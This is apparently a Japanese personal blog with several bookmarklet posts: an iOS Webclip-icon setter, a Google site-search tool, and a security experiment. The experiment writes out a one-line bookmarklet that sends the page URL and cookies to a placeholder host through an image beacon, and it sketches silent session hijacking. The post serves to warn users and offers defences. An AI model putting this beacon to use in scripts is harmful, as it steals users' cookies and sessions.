ブックマークレット

iPhone をはじめとする iOS デバイスでは、Web ページのブックマークをホーム画面に置くことができる (これを Webclip と呼ぶ) 。このとき、下記のような要素が head 要素にあれば、指定したアイコンで表示される (ない場合はページを縮小した画像が表示される) 。

しかし、多くのサイトではこの画像が設定されていないし、あったとしても気に入らない場合もある。

そこで、ユーザーが任意の画像を Webclip アイコンに設定するためのブックマークレットを作った。

• Webclipアイコン設定
• Webclipアイコン設定 (iPhone 向け)
  (iPhone 等は、上の (iPhone 向け) のリンクをタップ後 (一見何も起こりません)、このページをブックマーク、そのあとブックマークの編集で、URLの「javascript:」の前を削除してください)

使い方は・・・

1. アイコンにしたい画像のURLをコピーしておく
2. アイコンを設定したいページを開く
3. 上のブックマークレットを実行
4. 画像の URL を貼り付けして OK をタップ
5. 通常通りホーム画面へ追加

ただ、なぜか、iPhone 用のリンクをタップ後のこのページでは動作しません。ほかのページでも実行出来ない場合があるかも。原因わかりました。追記参照。

ちなみに、アイコンは、Iconfinder あたりで探すのがおすすめ。

なお、コードを見やすいように書き下したのがこちら。

link要素を追加してるだけですね。

(ブックマークレットの作成者が第3者か、ってのはおいといて。)

今回、別にセキュリティに詳しくないのに書いてるので、詳しい方のつっこみ歓迎。

ブックマークレットとは、あらかじめ保存(普通はブックマーク)しておいた、JavaScriptのコードを任意のWebページ上で実行することで、いろいろな処理を実現できる機能である。

大変便利な技術で、私も1日何度も使っているが、閲覧しているサイトの作成者が意図しないスクリプトを実行する以上、セキュリティリスクもある。

ここでは、ブックマークレットを実行することで、そのページのURLおよび、Cookieの内容を別のサーバに送信できるか試してみる。

データを送信する方法としては、実装が楽そうなWebビーコン方式とする。

javascript:(function(){ var e=document.createElement('img'); e.src='http://example.com/cookiemonster.ico?url='+encodeURIComponent(location.href)+'&cookie='+encodeURIComponent(document.cookie); var b=document.getElementsByTagName('body').item(0); b.appendChild(e); })();

こんなようなブックマークレットを作って(実験では自分のドメインの画像を読み込んだ)、任意のドメインのCookie使ってるサイトで実行してみたところ、当然ながら、そのサイトのURLとCookieの内容を含んだリクエストが送られた(Live HTTP Headersで確認。読み込まれた画像のURL見るだけでもいいけど)。

今回ためした時は、読み込む画像はたんなるPNGファイルなので、アクセスログを見ないと送信されたデータが得られず、めんどくさいが、もちろん実際にはファイルの中身はPHPなどのスクリプトでもよい。

そのスクリプトはリクエストを受けたら、なんらかの処理 – 取得したデータをデータベースに保存しとくとか、自動的にセッションハイジャックするとか – をして、縦横1pxの透明なPNGでも返しとけば気づかれにくい。

もちろん、これだけのコードだったら怪しいのはあきらかだが、これが、何百KBのコードに紛れて、しかもトラフィック節約のために圧縮されてたりしたら、気づくのは難しい(とはいえ、所詮コード全部見えてるんだし、自分の通信を監視すれば、おかしなことやってるのはすぐわかるので、足が付くのは時間の問題。メールのWebビーコンと違って大量にばらまくことはできないし)。

じゃ、ユーザーとしてどんな対策ができるかといえば、ブックマークレットの信頼性別に見ればこんなとこだろうか。

1. 外部のファイルを読み込んでいない+行っている処理が完全に理解できる+安全性が確認できたブックマークレット
   →安全性が確認できた範囲で使える。
2. 外部のファイルを読み込んでいない+行っている処理が理解できない部分があるブックマークレット
   →ブックマークレットの作成・配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得た場合は、使えなくもない。おすすめまではしない。
3. 外部のファイルを読み込んでいるブックマークレット
   →配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得ても、外部のファイルを読み込む時点で、ファイル自体や通信が改ざんされる可能性も否定できないので、危険はある。配布者が信用できない場合は論外。

あと、もちろん

• 他者に知られるとまずい情報が、表示されている・入力する・Cookieに保存されている・表示されてないけどHTMLとかに書いてあるページ、ドメインで上記1以外のブックマークレットを実行しない

というのは原則。

なお、Firefoxユーザーなら、RequestPolicyアドオンを入れてちゃんと運用してれば、別ドメインのファイルを勝手に読み込まないのでオススメ。

まあ、ブックマークレットよりGreasemonkeyスクリプト、ブラウザのプラグイン、スパイウェアなんかのほうがよっぽど数も多いし、危険性も高いけどね。

ちなみに、この記事を書くきっかけとなったのは、PrintWhatYouLikeというサービス。Webページを印刷するのにとても便利だが、ブックマークレットは外部のスクリプト読んでるので、怖いよなあと思って。WebインターフェイスからURL入力で使えば(あるいはそこんとこを自動化するブックマークレットを自分で作れば)、向こうに伝わるのは入力したURLだけなので安心。

私は長らくGoogleツールバーを愛用してたのだが、画面のスペースの確保のため、なんとかGoogleツールバーを非表示にして、同じ機能を代替できないか調べてみた。

普通の検索はFirefoxの検索ボックスで十分として、カスタム検索もスマートキーワードで解決。検索後のハイライトはSeachWPで解決。残るはサイト検索のみとなった。

サイト検索は、表示中のドメイン内のページのみを対象にして検索するもので、サイトに検索機能がない場合、検索機能が貧弱な場合（Googleサイト検索に比べるといまいちなとこが多い）に非常に便利な機能。

ただ、普通のスマートキーワードによる検索と違って、表示中のURLを参照しないといかんので、ブックマークレットを使うことにした。

• Google サイト検索（ドメイン）
  ※このリンクをブックマークにドラッグ&ドロップ。あとは普通のスマートキーワードと同じように、右クリック→プロパティでキーワードを設定したら、ロケーションバー（アドレスバー）でさっき設定したキーワードに続けて半角スペース＋検索語で、サイト検索ができるはず。

コードの説明はめんどくさいので省略。javascriptわかる人なら、%sにスマートキーワード検索のキーワードが展開されることだけわかれば、楽勝でしょ。

で、せっかくなので、ドメインでなくカレントディレクトリ内で検索するバージョンも作った。ディレクトリでユーザを分けてるサイトで便利。

• Google サイト検索（カレントディレクトリ）

ちなみに私は前述のSearchWPと組み合わせたいので、alice0775さん作成の、検索ボックスでもスマーキーワードが使えるようにするスクリプトを導入した。userChrome.js（ここがわかりやすい）って存在も知らんかった。

あとはGoogleで検索したときの語が検索ボックスに反映されるといいんだけどなあ。また調べんと。